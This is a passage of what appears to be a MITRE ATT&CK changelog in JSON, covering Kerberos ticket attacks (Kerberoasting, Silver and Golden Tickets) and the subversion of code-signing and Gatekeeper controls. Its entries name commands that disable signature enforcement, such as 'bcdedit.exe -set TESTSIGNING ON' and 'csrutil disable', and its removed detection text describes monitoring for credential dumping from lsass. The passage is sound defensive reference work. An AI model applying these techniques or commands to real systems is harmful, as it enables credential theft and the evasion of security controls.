"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Credential Request\", \"Logon Session: Logon Session Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.155000+00:00\", \"old_value\": \"2025-04-25 14:47:07.443000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019)\\n\\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\\n\\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \\n\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019)\\n-\\n-Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\\n-\\n-Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1015: Active Directory Configuration",
"M1026: Privileged Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0026: Active Directory (Active Directory Credential Request)",
"DS0028: Logon Session (Logon Session Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0144: Detect Forged Kerberos Golden Tickets (T1558.001)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:43:38.588000+00:00",
"modified": "2025-10-24 17:49:36.038000+00:00",
"name": "Kerberoasting",
"description": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1558/003",
"external_id": "T1558.003"
},
{
"source_name": "Microsoft Detecting Kerberoasting Feb 2018",
"description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
"url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"
},
{
"source_name": "Empire InvokeKerberoast Oct 2016",
"description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.",
"url": "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1"
},
{
"source_name": "SANS Attacking Kerberos Nov 2014",
"description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
"url": "https://redsiege.com/kerberoast-slides"
},
{
"source_name": "AdSecurity Cracking Kerberos Dec 2015",
"description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
"url": "https://adsecurity.org/?p=2293"
},
{
"source_name": "Microsoft SetSPN",
"description": "Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.",
"url": "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx"
},
{
"source_name": "Microsoft SPN",
"description": "Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.",
"url": "https://msdn.microsoft.com/library/ms677949.aspx"
},
{
"source_name": "Harmj0y Kerberoast Nov 2016",
"description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved September 23, 2024.",
"url": "https://blog.harmj0y.net/powershell/kerberoasting-without-mimikatz/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Praetorian"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Credential Request\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:36.038000+00:00\", \"old_value\": \"2025-04-15 19:59:20.912000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015)\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1027: Password Policies",
"M1041: Encrypt Sensitive Information"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0026: Active Directory (Active Directory Credential Request)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0157: Detect Kerberoasting Attempts (T1558.003)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 19:14:48.309000+00:00",
"modified": "2025-10-24 17:49:26.177000+00:00",
"name": "Silver Ticket",
"description": "Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1558/002",
"external_id": "T1558.002"
},
{
"source_name": "ADSecurity Silver Tickets",
"description": "Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020.",
"url": "https://adsecurity.org/?p=2011"
},
{
"source_name": "ADSecurity Detecting Forged Tickets",
"description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
"url": "https://adsecurity.org/?p=1515"
},
{
"source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
"description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
"url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:26.177000+00:00\", \"old_value\": \"2025-04-25 14:48:09.547000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) \\n\\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) \\n-\\n-Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1027: Password Policies",
"M1041: Encrypt Sensitive Information"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0028: Logon Session (Logon Session Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0241: Detect Forged Kerberos Silver Tickets (T1558.002)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-05 14:54:07.588000+00:00",
"modified": "2025-10-24 17:49:16.766000+00:00",
"name": "Subvert Trust Controls",
"description": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1553",
"external_id": "T1553"
},
{
"source_name": "SpectorOps Code Signing Dec 2017",
"description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
"url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"
},
{
"source_name": "SpectorOps Subverting Trust Sept 2017",
"description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
"url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
},
{
"source_name": "Securelist Digital Certificates",
"description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
"url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
},
{
"source_name": "Symantec Digital Certificates",
"description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
"url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"macOS",
"Linux"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Windows Registry: Windows Registry Key Creation\", \"File: File Metadata\", \"Command: Command Execution\", \"Process: Process Creation\", \"File: File Modification\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.766000+00:00\", \"old_value\": \"2025-04-15 19:59:00.906000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\\n\\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \\\"Hide Microsoft Entries\\\" and \\\"Hide Windows Entries\\\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \\n\\nMonitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\\n-\\n-Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \\\"Hide Microsoft Entries\\\" and \\\"Hide Windows Entries\\\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \\n-\\n-Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. \"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1024: Restrict Registry Permissions",
"M1026: Privileged Account Management",
"M1028: Operating System Configuration",
"M1038: Execution Prevention",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Metadata)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0452: Detect Subversion of Trust Controls via Certificate, Registry, and Attribute Manipulation"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-05 16:27:37.784000+00:00",
"modified": "2025-10-24 17:48:37.098000+00:00",
"name": "Code Signing",
"description": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1553/002",
"external_id": "T1553.002"
},
{
"source_name": "EclecticLightChecksonEXECodeSigning",
"description": "Howard Oakley. (2020, November 16). Checks on executable code in Catalina and Big Sur: a first draft. Retrieved September 21, 2022.",
"url": "https://eclecticlight.co/2020/11/16/checks-on-executable-code-in-catalina-and-big-sur-a-first-draft/"
},
{
"source_name": "Securelist Digital Certificates",
"description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
"url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
},
{
"source_name": "Symantec Digital Certificates",
"description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
"url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"
},
{
"source_name": "Wikipedia Code Signing",
"description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
"url": "https://en.wikipedia.org/wiki/Code_signing"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.098000+00:00\", \"old_value\": \"2025-04-16 20:37:16.240000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0230: Detect Suspicious or Malicious Code Signing Abuse"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-04-23 01:04:57.161000+00:00",
"modified": "2025-10-24 17:48:48.927000+00:00",
"name": "Code Signing Policy Modification",
"description": "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1553/006",
"external_id": "T1553.006"
},
{
"source_name": "Apple Disable SIP",
"description": "Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021.",
"url": "https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection"
},
{
"source_name": "F-Secure BlackEnergy 2014",
"description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
"url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf"
},
{
"source_name": "FireEye HIKIT Rootkit Part 2",
"description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20210920172620/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html"
},
{
"source_name": "Microsoft Unsigned Driver Apr 2017",
"description": "Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021.",
"url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test"
},
{
"source_name": "Microsoft DSE June 2017",
"description": "Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021.",
"url": "https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN"
},
{
"source_name": "Microsoft TESTSIGNING Feb 2021",
"description": "Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021.",
"url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option"
},
{
"source_name": "Unit42 AcidBox June 2020",
"description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.",
"url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/"
},
{
"source_name": "GitHub Turla Driver Loader",
"description": "TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021.",
"url": "https://github.com/hfiref0x/TDL"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Abel Morales, Exabeam"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.927000+00:00\", \"old_value\": \"2025-04-15 19:58:33.055000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\Driver Signing. Modifications to the code signing policy of a system are likely to be rare.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1024: Restrict Registry Permissions",
"M1026: Privileged Account Management",
"M1046: Boot Integrity"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0523: Detect Code Signing Policy Modification (Windows & macOS)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-05 16:16:08.471000+00:00",
"modified": "2025-10-24 17:48:36.535000+00:00",
"name": "Gatekeeper Bypass",
"description": "Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple\u2019s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. Checks extended attribute \u2013 Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.\n\n3. Code Signing \u2013 Gatekeeper checks for a valid code signature from an Apple Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an \u201cunauthorized app\u201d and the security policy will be modified.\n\nAdversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation Brandon Dalton)\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, 